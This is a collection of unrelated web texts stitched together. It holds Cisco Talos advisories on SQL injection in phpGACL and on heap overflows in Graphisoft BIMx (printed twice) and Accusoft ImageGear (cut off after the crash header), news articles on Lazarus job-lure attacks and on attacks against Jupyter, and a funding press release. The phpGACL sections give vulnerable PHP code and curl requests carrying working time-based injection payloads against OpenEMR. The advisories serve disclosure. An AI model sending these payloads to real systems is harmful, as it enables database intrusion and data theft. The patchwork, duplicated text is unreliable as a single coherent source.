Multiple SQL injection vulnerabilities exist in phpGACL 3.3.7. A specially crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

**Summary**

Multiple SQL injection vulnerabilities exist in phpGACL 3.3.7. A specially crafted HTTP request can lead to a SQL injection. An attacker can send an HTTP request to trigger this vulnerability.

**Tested Versions**

OpenEMR 5.0.2  
OpenEMR development version 6.0.0 (commit babec93f600ff1394f91ccd512bcad85832eb6ce)  
phpGACL 3.3.7

**Product URLs**

http://phpgacl.sourceforge.net/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**Details**

phpGACL is a PHP library that allows developers to implement permission systems via a Generic Access Control List.

The latest version of this library has been found to be used in OpenEMR, as such the tests have been performed against an OpenEMR instance.

Across the whole codebase of phpGACL, SQL queries are built using string concatenation, and parameters are often not sanitized.

The following is an (incomplete) list of code paths that lead to SQL injection, caused by missing sanitization of the input parameters that can be injected by an attacker via GET or POST request. Note that similar vulnerable patterns can be seen in `edit_objects.php`, `edit_object_sections.php` and others.

**CVE-2020-13566 - phpGACL database delete\_group SQL injection**

In `admin/edit_group.php`, when the POST parameter `action` is “Delete”, the POST parameter `delete_group` leads to a SQL injection:

    ...
    switch ($_POST['action']) {
        case 'Delete':
            $gacl_api->debug_text('Delete');
    
            if (count($_POST['delete_group']) > 0) {
                //Always reparent children when deleting a group.
                foreach ($_POST['delete_group'] as $group_id) {
                    $gacl_api->debug_text('Deleting group_id: '. $group_id);
    
                    $result = $gacl_api->del_group($group_id, TRUE, $group_type);     [1]
                    if ($result == FALSE) {
                        $retry[] = $group_id;
                    }
                }
    ...
    

The `delete_group` parameter is sent to the function `del_group` unsanitized:

    function del_group($group_id, $reparent_children=TRUE, $group_type='ARO') {
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            $groups_map_table = $this->_db_table_prefix .'axo_groups_map';
                            $groups_object_map_table = $this->_db_table_prefix .'groups_axo_map';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            $groups_map_table = $this->_db_table_prefix .'aro_groups_map';
                            $groups_object_map_table = $this->_db_table_prefix .'groups_aro_map';
                            break;
            }
    
            $this->debug_text("del_group(): ID: $group_id Reparent Children: $reparent_children Group Type: $group_type");
    
            if (empty($group_id) ) {
                    $this->debug_text("del_group(): Group ID ($group_id) is empty, this is required");
                    return false;
            }
    
            // Get details of this group
            $query = 'SELECT id, parent_id, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;     [2]
            $group_details = $this->db->GetRow($query);
    

As we can see, the only sanitized argument is `group_type`, while `group_id` (former `delete_group`) is appended to the query unsanitized \[2\].

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Delete&delete_group[0]=1234 union select 1,2,3,4,sleep(3)" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**CVE-2020-13567 - phpGACL database parent\_id SQL injection**

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `parent_id` leads to a SQL injection:

    ...
    case 'Submit':
        $gacl_api->debug_text('Submit');
    
        if (empty($_POST['parent_id'])) {
            $parent_id = 0;
        } else {
            $parent_id = $_POST['parent_id'];                                                                      [1]
        }
    
        //Make sure we're not reparenting to ourself.
        if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
            echo "Sorry, can't reparent to self!<br />\n";
            exit;
        }
    
        //No parent, assume a "root" group, generate a new parent id.
        if (empty($_POST['group_id'])) {
            $gacl_api->debug_text('Insert');
    
            $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);           [2]
        } else {
            $gacl_api->debug_text('Update');
    
            $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);
        }
    ...
    

The parameter `parent_id` is passed to both `add_group` \[2\] and `edit_group` \[3\] unsanitized \[1\].

    function add_group($value, $name, $parent_id=0, $group_type='ARO') {
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            $this->debug_text("add_group(): Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");
    
            $name = trim($name);
            $value = trim($value);
    
            if ( $name == '' ) {
                    $this->debug_text("add_group(): name ($name) OR parent id ($parent_id) is empty, this is required");
                    return false;
            }
    
            //This has to be outside the transaction, because the first time it is run, it will say the sequence
            //doesn't exist. Then try to create it, but the transaction will already by aborted by then.
            $insert_id = $this->db->GenID($this->_db_table_prefix.$group_type.'_groups_id_seq',10);
            if ( $value === '' ) {
                    $value = $insert_id;
            }
    
            $this->db->BeginTrans();
    
            // special case for root group
            if ($parent_id == 0) {
                ...
            } else {
                     if (empty($parent_id)) {
                             $this->debug_text("add_group (): parent id ($parent_id) is empty, this is required");
                             $this->db->RollbackTrans();
                             return FALSE;
                     }
    
                     // grab parent details from database
                     $query = 'SELECT id, lft, rgt FROM '. $table .' WHERE id='. $parent_id;                     [4]
                     $row = $this->db->GetRow($query);
    

The function `add_group` does not sanitize the `parent_id` at \[4\], which leads to a SQL injection.

    function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
            ...
            $set = array();
    
            // update name if it is specified.
            if (!empty($name)) {
                    $set[] = 'name='. $this->db->quote($name);
            }
    
            // update parent_id if it is specified.
            if (!empty($parent_id)) {
                    $set[] = 'parent_id='. $parent_id;                                     [5]
            }
    
            // update value if it is specified.
            if (!empty($value)) {
                    $set[] = 'value='. $this->db->quote($value);
            }
    
            if (empty($set)) {
                    $this->debug_text('edit_group(): Nothing to update.');
                    return FALSE;
            }
    
            $this->db->BeginTrans();
    
            $query  = 'UPDATE '. $table .' SET '. implode(',', $set) .' WHERE id='. $group_id;   [6]
            $rs = $this->db->Execute($query);
    
            if (!is_object($rs)) {
                    $this->debug_db('edit_group');
                    $this->db->RollbackTrans();
                    return FALSE;
            }
    

The function `edit_group` does not sanitize the `parent_id` at \[5\], which leads to a SQL injection at \[6\].

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234 union select 1,2,sleep(3)&name=1" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**CVE-2020-13568 - phpGACL database group\_id SQL injection**

Again in `admin/edit_group.php`, when the POST parameter `action` is “Submit”, the POST parameter `group_id` leads to a SQL injection:

    ...
    case 'Submit':
        $gacl_api->debug_text('Submit');
    
        if (empty($_POST['parent_id'])) {
            $parent_id = 0;
        } else {
            $parent_id = $_POST['parent_id'];                                                                      [1]
        }
    
        //Make sure we're not reparenting to ourself.
        if (!empty($_POST['group_id']) AND $parent_id == $_POST['group_id']) {
            echo "Sorry, can't reparent to self!<br />\n";
            exit;
        }
    
        //No parent, assume a "root" group, generate a new parent id.
        if (empty($_POST['group_id'])) {
            $gacl_api->debug_text('Insert');
    
            $insert_id = $gacl_api->add_group($_POST['value'], $_POST['name'], $parent_id, $group_type);           [2]
        } else {
            $gacl_api->debug_text('Update');
    
            $gacl_api->edit_group($_POST['group_id'], $_POST['value'], $_POST['name'], $parent_id, $group_type);   [3]
        }
    ...
    

Like before, `group_id` is passed to `edit_group` \[2\] unsanitized:

    function edit_group($group_id, $value=NULL, $name=NULL, $parent_id=NULL, $group_type='ARO') {
            $this->debug_text("edit_group(): ID: $group_id Name: $name Value: $value Parent ID: $parent_id Group Type: $group_type");
    
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            if (empty($group_id) ) {
                    $this->debug_text('edit_group(): Group ID ('. $group_id .') is empty, this is required');
                    return FALSE;
            }
    
            if ( !is_array($curr = $this->get_group_data($group_id, $group_type)) ) {      [4]
                    $this->debug_text('edit_group(): Invalid Group ID: '. $group_id);
                    return FALSE;
            }
            ...
    

The function `edit_group` calls `get_group_data` at \[4\], using the unsanitized `group_id`:

    function get_group_data($group_id, $group_type = 'ARO') {
    
            $this->debug_text("get_group_data(): Group_ID: $group_id Group Type: $group_type");
    
            switch(strtolower(trim($group_type))) {
                    case 'axo':
                            $group_type = 'axo';
                            $table = $this->_db_table_prefix .'axo_groups';
                            break;
                    default:
                            $group_type = 'aro';
                            $table = $this->_db_table_prefix .'aro_groups';
                            break;
            }
    
            if (empty($group_id) ) {
                    $this->debug_text("get_group_data(): ID ($group_id) is empty, this is required");
                    return false;
            }
    
            $query  = 'SELECT id, parent_id, value, name, lft, rgt FROM '. $table .' WHERE id='. $group_id;  [5]
            //$rs = $this->db->Execute($query);
            $row = $this->db->GetRow($query);
    
            if ($row) {
                    return $row;
            }
    
            $this->debug_text("get_object_data(): Group does not exist.");
            return false;
    }
    

We can see at \[5\] that `group_id` is concatenated to the `query`, leading to a SQL injection.

**Exploit Proof of Concept**

This issue has been reproduced by testing against OpenEMR, which ships the latest version of phpGACL. This can be reproduced with the following command:

    curl -v -H "Cookie: $cookie" -d "action=Submit&parent_id=1234&group_id=1234 union select 1,2,3,4,5,sleep(3)" "http://openemr.dev/gacl/admin/edit_group.php?site=default"
    

**Timeline**

2020-10-23 - Vendor Disclosure  
2021-01-05 - Vendor Patched  
2021-01-27 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2020-13567: TALOS-2020-1179 || Cisco Talos Intelligence Group

An exploitable code execution vulnerability exists in the file format parsing functionality of Graphisoft BIMx Desktop Viewer 2019.2.2328. A specially crafted file can cause a heap buffer overflow resulting in a code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

An exploitable code execution vulnerability exists in the file format parsing functionality of Graphisoft BIMx Desktop Viewer 2019.2.2328. A specially crafted file can cause a heap buffer overflow resulting in a code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Graphisoft BIMx Desktop Viewer 2019.2.2328

**Product URLs**

https://www.graphisoft.com/downloads/bimx/bimx\_desktop.html

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-680 - Integer Overflow to Buffer Overflow

**Details**

BIMx Desktop Viewer allows for models created by Graphisoft ArchiCad to be shared and viewed by anyone. With Desktop Viewer, clients can view their prospective models without the need of having to install the entire suite of tools needed to create the model itself.

The modules used in this vulnerability are below:

    00007ff77c5f0000 00007ff77c818000   BIMx       (deferred)
        Image path: BIMx.exe
        Image name: BIMx.exe
        Timestamp:        Wed Jun  5 08:09:29 2019 (5CF7BF09)
        CheckSum:         00000000
        ImageSize:        00228000
        File version:     2019.2.2328.0
        Product version:  2019.2.2328.0
    

The BIMx file format is composed of a variety of resource files which are read and written to disk before processed. To begin processing a given resource file, a 520 byte chunk is read from the file.

    bimx+55c20
    .text:0000000000055C20  mov  r9, r14                 ; Input File Stream
    .text:0000000000055C23  mov  edx, 208h               ; Number of elements to read
    .text:0000000000055C28  mov  r8d, 1                  ; Size of each elements
    .text:0000000000055C2E  lea  rcx, [rbp+3F0h+var_470] ; Output buffer
    .text:0000000000055C32  call cs:fread                ; Call fread
    

This file chunk contains the name of the resource along with the number of bytes contained in this resource. This chunk looks like the following struct:

    struct ResourceHeader {
        name: [u8; 512],
        offset_to_struct: u32,
        length_of_data: u32,
    }
    

The application then allocates enough memory to fill with the resource bytes. Along with the resource bytes, themselves, the allocation can also contain an attribute or note of what the allocation is for.

    bimx+78572
    .text:0000000000078572  inc     rbx                    ; Increment note pointer
    .text:0000000000078575  cmp     byte ptr [rdx+rbx], 0  ; Check if we found the end of the note
    .text:0000000000078579  jnz     short loc_78572        ; Continue incrementing
    

The application then calculates the length of the note and then adds that to the found number of bytes for this resource for the final allocation.

    bimx+78589
    .text:0000000000078589  lea     eax, [rbx+6]
    .text:000000000007858C  cdq
    .text:000000000007858D  and     edx, 0Fh
    .text:0000000000078590  lea     edi, [rdx+rax]
    .text:0000000000078593  sar     edi, 4
    .text:0000000000078596  inc     edi
    .text:0000000000078598  shl     edi, 4
    .text:000000000007859B  lea     ecx, [rdi+r15]  ; Final add of resource bytes and note length
    .text:000000000007859F  movsxd  rcx, ecx        
    .text:00000000000785A2  call    cs:__imp_malloc
    

Assuming there is no problem with the allocation, the entire allocation is set to 0 and then filled with the resource bytes.

    bimx+785b0
    .text:00000000000785B0                 movsxd  rdi, edi        ;
    .text:00000000000785B3                 mov     edx, 0AAh       ; Memset the note bytes to 0xaa
    .text:00000000000785B8                 mov     r8, rdi         ; Allocation note size
    .text:00000000000785BB                 mov     [rsp+38h+arg_0], rbp
    .text:00000000000785C0                 mov     rcx, r14        ; void *
    .text:00000000000785C3                 call    memset
    .text:00000000000785C8                 lea     rbp, [rdi+r14]  ; Address after the allocation note
    .text:00000000000785CC                 mov     r8, r15         ; Number of resource bytes
    .text:00000000000785CF                 mov     rcx, rbp          
    .text:00000000000785D2                 xor     edx, edx        ; Fill with 0
    .text:00000000000785D4                 call    memset
    .text:00000000000785D9                 movzx   edi, bl
    .text:00000000000785DC                 mov     rdx, rsi        ; Allocation note
    .text:00000000000785DF                 mov     r8d, edi        ; Allocation note length
    .text:00000000000785E2                 mov     rcx, r14        ; New allocation
    .text:00000000000785E5                 call    memcpy
    

It is possible for an attacker to overflow the malloc allocation size after adding the resource length. This will result in an allocation that is smaller than requested. Since the allocation is smaller than expected, the memset and the memcpy cause an out of bounds write on a heap buffer, potentially resulting in a code execution.

**Crash Information**

(1bd9c.1bda4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. \*\*\* WARNING: Unable to verify checksum for BIMx.exe VCRUNTIME140!memset\_repmovs+0x9: 00007ffb\`d8f91689 f3aa rep stos byte ptr \[rdi\]

**Timeline**

2020-03-26 - Initial contact  
2020-03-31 - Vendor disclosure  
2020-06-30 - 90 day notice  
2020-07-03 - Vendor advised reports filtered as spam  
2020-07-07 - Issued copy of reports & vendor confirmed  
2020-07-28 - Vendor advised new version will address issue mid September  
2020-09-15 - Follow up with vendor; no response  
2020-11-06 - Public Release

Discovered by Cory Duplantis of Cisco Talos.

CVE-2020-6099: TALOS-2020-1032 || Cisco Talos Intelligence Group

**SUMMARY**

An exploitable code execution vulnerability exists in the file format parsing functionality of Graphisoft BIMx Desktop Viewer 2019.2.2328. A specially crafted file can cause a heap buffer overflow resulting in a code execution. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Graphisoft BIMx Desktop Viewer 2019.2.2328

**PRODUCT URLS**

BIMx Desktop Viewer - https://www.graphisoft.com/downloads/bimx/bimx\_desktop.html

**CVSSv3 SCORE**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-680 - Integer Overflow to Buffer Overflow

**DETAILS**

BIMx Desktop Viewer allows for models created by Graphisoft ArchiCad to be shared and viewed by anyone. With Desktop Viewer, clients can view their prospective models without the need of having to install the entire suite of tools needed to create the model itself.

The modules used in this vulnerability are below:

    00007ff77c5f0000 00007ff77c818000   BIMx       (deferred)
        Image path: BIMx.exe
        Image name: BIMx.exe
        Timestamp:        Wed Jun  5 08:09:29 2019 (5CF7BF09)
        CheckSum:         00000000
        ImageSize:        00228000
        File version:     2019.2.2328.0
        Product version:  2019.2.2328.0
    

The BIMx file format is composed of a variety of resource files which are read and written to disk before processed. To begin processing a given resource file, a 520 byte chunk is read from the file.

    bimx+55c20
    .text:0000000000055C20  mov  r9, r14                 ; Input File Stream
    .text:0000000000055C23  mov  edx, 208h               ; Number of elements to read
    .text:0000000000055C28  mov  r8d, 1                  ; Size of each elements
    .text:0000000000055C2E  lea  rcx, [rbp+3F0h+var_470] ; Output buffer
    .text:0000000000055C32  call cs:fread                ; Call fread
    

This file chunk contains the name of the resource along with the number of bytes contained in this resource. This chunk looks like the following struct:

    struct ResourceHeader {
        name: [u8; 512],
        offset_to_struct: u32,
        length_of_data: u32,
    }
    

The application then allocates enough memory to fill with the resource bytes. Along with the resource bytes, themselves, the allocation can also contain an attribute or note of what the allocation is for.

    bimx+78572
    .text:0000000000078572  inc     rbx                    ; Increment note pointer
    .text:0000000000078575  cmp     byte ptr [rdx+rbx], 0  ; Check if we found the end of the note
    .text:0000000000078579  jnz     short loc_78572        ; Continue incrementing
    

The application then calculates the length of the note and then adds that to the found number of bytes for this resource for the final allocation.

    bimx+78589
    .text:0000000000078589  lea     eax, [rbx+6]
    .text:000000000007858C  cdq
    .text:000000000007858D  and     edx, 0Fh
    .text:0000000000078590  lea     edi, [rdx+rax]
    .text:0000000000078593  sar     edi, 4
    .text:0000000000078596  inc     edi
    .text:0000000000078598  shl     edi, 4
    .text:000000000007859B  lea     ecx, [rdi+r15]  ; Final add of resource bytes and note length
    .text:000000000007859F  movsxd  rcx, ecx        
    .text:00000000000785A2  call    cs:__imp_malloc
    

Assuming there is no problem with the allocation, the entire allocation is set to 0 and then filled with the resource bytes.

    bimx+785b0
    .text:00000000000785B0                 movsxd  rdi, edi        ;
    .text:00000000000785B3                 mov     edx, 0AAh       ; Memset the note bytes to 0xaa
    .text:00000000000785B8                 mov     r8, rdi         ; Allocation note size
    .text:00000000000785BB                 mov     [rsp+38h+arg_0], rbp
    .text:00000000000785C0                 mov     rcx, r14        ; void *
    .text:00000000000785C3                 call    memset
    .text:00000000000785C8                 lea     rbp, [rdi+r14]  ; Address after the allocation note
    .text:00000000000785CC                 mov     r8, r15         ; Number of resource bytes
    .text:00000000000785CF                 mov     rcx, rbp          
    .text:00000000000785D2                 xor     edx, edx        ; Fill with 0
    .text:00000000000785D4                 call    memset
    .text:00000000000785D9                 movzx   edi, bl
    .text:00000000000785DC                 mov     rdx, rsi        ; Allocation note
    .text:00000000000785DF                 mov     r8d, edi        ; Allocation note length
    .text:00000000000785E2                 mov     rcx, r14        ; New allocation
    .text:00000000000785E5                 call    memcpy
    

It is possible for an attacker to overflow the malloc allocation size after adding the resource length. This will result in an allocation that is smaller than requested. Since the allocation is smaller than expected, the memset and the memcpy cause an out of bounds write on a heap buffer, potentially resulting in a code execution.

**Crash Information**

(1bd9c.1bda4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. \*\*\* WARNING: Unable to verify checksum for BIMx.exe VCRUNTIME140!memset\_repmovs+0x9: 00007ffb\`d8f91689 f3aa rep stos byte ptr \[rdi\]

**TIMELINE**

2020-03-26 - Initial contact  
2020-03-31 - Vendor disclosure  
2020-06-30 - 90 day notice  
2020-07-03 - Vendor advised reports filtered as spam  
2020-07-07 - Issued copy of reports & vendor confirmed  
2020-07-28 - Vendor advised new version will address issue mid September  
2020-09-15 - Follow up with vendor; no response  
2020-11-06 - Public Release

Discovered by Cory Duplantis of Cisco Talos.

Chemical companies are the latest to be targeted by the well-known North Korean group, which has targeted financial firms, security researchers, and technology companies in the past.

The North Korean-linked Lazarus group sent fake job offers to targets in the chemical sector and information technology firms, which — when opened — install Trojan horse programs to collect information and send it back to the attackers, technology provider Broadcom's security arm Symantec stated in an advisory on April 14.

The attack is part of a long-running campaign — dubbed Operation Dream Job — that sends targets in specific industries malicious Web files disguised as job offers, which when opened attempts to compromise the system. While the current set of attacks focuses on South Korean chemical companies and their IT service providers, other targets have included industries and government agencies in Europe, Asia, and the United States. This campaign marks a shift, as Lazarus in the past targeted the defense, government, and engineering sectors.

The attacks have, at various times, targeted defense contractors, engineering firms, government agencies, and even pharmaceutical companies during the height of the pandemic, says Dick O’Brien, principal intelligence analyst for Symantec's threat-hunting team.

"North Korea-linked attackers have a long history of targeting intellectual property, presumably to assist strategically important engineering or technology projects," he says, adding: "Across all attacks, we’ve seen a range of data theft \[and\] data exfiltration tools deployed on infected computers. We’re assuming that they take what they need before moving on."

Other security and technology firms have also documented Lazarus's involvement in Operation Dream Job, which some researchers track as Operation AppleJeus. In early 2021, the Lazarus group targeted security researchers with similar offers of high-level jobs in the industry. And, earlier this year, the attackers targeted more than 250 individuals working for news media, software vendors, and Internet infrastructure providers, using job offers that appeared to come from Disney, Google, and Oracle, according to Google, which tracked the campaign.

A related campaign targeted cryptocurrency and financial technology and services firms, Adam Weidemann, a researcher with Google's Threat Analysis Group, stated in a late March blog post.

"We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques," he wrote. "It is possible that other North Korean government-backed attackers have access to the same exploit kit."

**Long-Running Campaign  
**The April 14 advisory from Symantec noted that the campaign started at least as early as August 2020, albeit with a different set of targets. While the current campaign targets the chemical sector, campaigns discovered in 2020 had focused on government agencies and defense contractors, the company stated in its advisory.

"Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage," the company said.

Symantec's threat team outlined the steps in a successful attack in January 2022, which completed less than four days after the target received the file until the final execution of a program that collected and exfiltrated system data. After the targeted user opened the fake job offer, the attack exploited a vulnerability in one of two software packages, the INISAFE Web EX Client for system management or MagicLine, a gym management program, says Symantec's O'Brien.

"They’re not household names for us but our working assumption is they’re widely used in the industry or sector they’re currently targeting," he says. "An alternative hypothesis is they installed the software themselves in order to inject into it, but we haven’t seen any evidence of that."

While companies not running either application may not have to worry about this particular attack, cyber-espionage groups such as Lazarus are very good at tailoring attacks to match their target's environment, he says.

For that reason, no single solution will help prevent cyber-espionage attacks, O'Brien stressed. Instead, companies should take a layered approach to defense, using network detection, endpoint security, and hardening technologies — such as multifactor authentication — to protect against multiple vectors of attack, he says.

"We’d also advise implementing proper audit and control of administrative account usage, \[and\] you could also introduce one-time credentials for administrative work to help prevent theft and misuse of admin credentials," O'Brien says. "We’d also suggest creating profiles of usage for admin tools, \[because\] many of these tools are used by attackers to move laterally undetected through a network."

Lazarus Targets Chemical Sector With 'Dream Jobs,' Then Trojans

Elsewhere Partners invests in proven service mesh and API management innovator as it grows team and breaks into new markets.

ALEXANDRIA, Va.--(BUSINESS WIRE)--greymatter.io Inc., an enterprise microservices platform provider, today announced the close of a $7.1 million Series A round. Led by Elsewhere Partners, the funding will fuel greymatter.io’s global growth as demand intensifies for its comprehensive microservices platform, which includes service mesh and API management for enterprise-scale IT environments.

“Organizations are quickly realizing that they must future-proof their IT infrastructures. The distribution of software, APIs, data, and users across hybrid, multi-cloud, and on-premise systems has created dramatically more complex networks that large organizations (both public and private) are struggling to control, secure and monitor,” said Chris Pacitti, founder and partner of Elsewhere Partners. “We have been watching greymatter.io execute on their vision for an enterprise microservices platform for more than three years. They have proven the strength and scalability of their platform to effectively manage the explosion of configuration sprawl, security, governance, and risk needs.”

In enterprise hybrid and multi-cloud operations, it is more important than ever for IT leaders to control complexity, trust nothing, and see everything. The global service mesh market continues to surge with some analysts predicting it will top $2.3 billion by 2028 to support the complexities introduced by service-based architectures, and greymatter.io has been a leading innovator in the space since 2015. Helping large organizations cut their operational costs by upwards of 30 percent, greymatter.io allows DevSecOps and NetSecOps teams to easily manage increasing complexity, secure application networking with zero-trust and see everything happening across their IT environment. Recognized as an industry outperformer by GigaOm, the Grey Matter platform offers cloud- and platform-agnostic solutions to uncover and relieve the top issues plaguing enterprises as their application networking, API security and IT operations evolve – from misconfigurations, unvetted configurations and unpatched vulnerabilities, to data leaks, failed audits and more.

“greymatter.io has become a proven industry force thanks to our talented team and steadfast commitment to ease our customers’ top infrastructure burdens,” said greymatter.io CEO Chris Holmes. “Working with an investment partner as dedicated as we are to customer-driven, product-led company growth, there are no limits to what the coming months/years hold. We will continue to provide the most comprehensive modern microservices platform based on a service mesh purpose built to help large public organizations and private enterprises overcome complexity sprawl and tackle all governance, analytic and zero-trust security needs regardless of the number of clouds, on-premise systems, applications or endpoints involved.”

After years successfully serving the complex needs of massive, globally distributed government and defense organizations, greymatter.io will use the funding to expand the reach of its proven microservices platform in both the public and private sector by rapidly building out its team. In addition, greymatter.io will accelerate its pipeline of platform enhancements, add support for key open source community projects, and cultivate new partnerships in advanced areas of zero-trust security and data mesh to support its continued market leadership.

Timed with the investment, seasoned enterprise B2B software industry executives Mike Kushin and Michele Perry (an Elsewhere Partners operating advisor) will join the Board to help support the company’s market expansion and recruiting efforts.

**About greymatter.io Inc.  
**A venture-backed microservices platform provider, greymatter.io is driving the next era of intelligent service mesh and API management to solve complex challenges flowing from enterprises’ DevSecOps and NetSecOps pipelines through production operations. Led by a team of experts, the company builds infrastructure intelligence solutions to help its customers better manage, secure, and operate enterprise software. The platform has a rapidly growing user base that includes some of the largest, most security-conscious, globally decentralized organizations in the world. Learn more at greymatter.io.

**About Elsewhere Partners  
**Elsewhere Partners is a growth-stage venture capital firm that invests in Elsewhere Outliers – business software companies that are located outside of traditional venture capital hubs and have achieved substantial customer traction and revenue growth without significant outside funding. Elsewhere Partners combines transitional capital with transformational expertise to help companies achieve exit readiness on their own terms. To learn more, visit www.elsewhere.partners.

greymatter.io Closes $7.1 Million Series A to Meet Rising Need for Its Enterprise Microservices Platform

Researchers should take extra care in deploying data-science applications to the cloud, as cybercriminals are already targeting popular data-science tools such as Jupyter Notebook.

Always looking for an easy compromise, attackers are now scanning for data-science applications — such as Jupyter Notebook and JupyterLab — along with cloud servers and containers for misconfigurations, cloud-protection firm Aqua Security stated in an advisory published on April 13.

The two popular data science applications — used frequently with Python and R for data analysis — are generally secure by default, but a small fraction of instances are misconfigured, allowing attackers to access the servers with no password, according to the Aqua Security's researchers. In addition, after setting up its own server as a honeypot, the company detected in-the-wild attacks that attempted to install cryptomining tools and ransomware onto accessible instances of the software.

Signs that there are attackers targeting data-science environments is worrisome, considering that the researchers setting up those environment are largely uninformed about cybersecurity, says Assaf Morag, lead data analyst with Aqua Security.

"We know, based on our experience with application security, that developers are starting to learn more about security, but what about data scientists?" he says. "Are they gaining a proper education? My training is as a data scientist, and there were no focus on data security."

**Looking for Misconfigurations**  
In the past, threat actors have frequently scanned the Internet for servers running insecurely configured application. Last year, for example, a misconfigured Git server using default login credentials allowed attackers to steal source code for Nissan's mobile apps, market-research tools, and vehicle-connected services. Over the past five years, a significant number of data breaches have been caused by misconfigured storage servers — such as Amazon's Simple Storage Service (S3) buckets — that were found by attackers.

Research conducted in 2020 found that misconfigured cloud services, containers, and servers are attacked within hours of appearing online. The research, which used an insecurely configured Elasticsearch instance, was targeted by 175 scans over 11 days, increasing to 435 requests over the subsequent 2 weeks, including searches for particular terms such as "password" and "wallet."

The attacks on data-science tools used similar tactics, as seen through the lens of its honeypots, Aqua Security stated in its advisory.

"Most of the attacks got initial access via misconfigured environments," the company stated. "After gaining access, adversaries attempted to achieve persistence by creating a new user in the notebook or adding Secure Shell (SSH) keys. Then, most of the attacks executed a cryptominer, trying to get a quick gain."

The problem is that a small minority of the instances are configured to allow anyone to access the notebook server. During the research, for example, the Aqua Security researchers saw a novel attempt at using access gained through Jupyter Notebook to run a Python-based crypto-ransomware program.

"Normally, access to the online application should be restricted, either with a token or password or by limiting ingress traffic," Aqua Security wrote in the ransomware advisory. "However, sometimes these notebooks are left exposed to the internet with no authentication means, allowing anyone to easily access the notebook via a web browser."

**Lock Down Data Tools**  
Overall, data scientists and the Jupyter Project appear to be doing a credible job in securing the software. In total, less than 1% of the approximately 10,000 of instances of Jupyter Notebook are configured for open access, according to scans using the Shodan search engine. The fact that attackers are targeting the servers, however, should prompt defenders to focus on ensuring that the data-science tools are locked down, says Aqua Security's Morag.

"There will always be a zero-day or another misconfiguration that users did not know about, like Log4shell or Spring4 shell," he says. "While those do not apply to Jupyter Notebook, they show that you need to have another layer of protection. If you rely on the network to protect you, it is not enough these days, I think."

The Aqua research is not the first to expose vulnerabilities and misconfigurations of data-science tools. In 2021, researchers from cloud-security firm Wiz.io found that Microsoft created an insecure implementation for linking Jupyter Notebook instances to Azure Cosmos DB databases, allowing attackers to create a connection between an instance of Jupyter Notebook and the database service, which then allowed the attacker to access all other databases using the same service.

Attackers' strategy of targeting a new community of technical users is not new. Threat actors have already started targeting machine-learning researchers and the data behind artificial-intelligence and machine-learning systems, according to experts.

Data Scientists, Watch Out: Attackers Have Your Number

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A heap-based buffer overflow vulnerability exists in the XWD parser functionality of Accusoft ImageGear 19.10. A specially-crafted file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

Accusoft ImageGear 19.10

**Product URLs**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 Score**

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**Details**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially-crafted XWD file can lead to a heap-based buffer overflow in the XWD parser, due to a missing size check.

Trying to load a malformed XWD file, we end up in the following situation:

    (27a8.2444): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
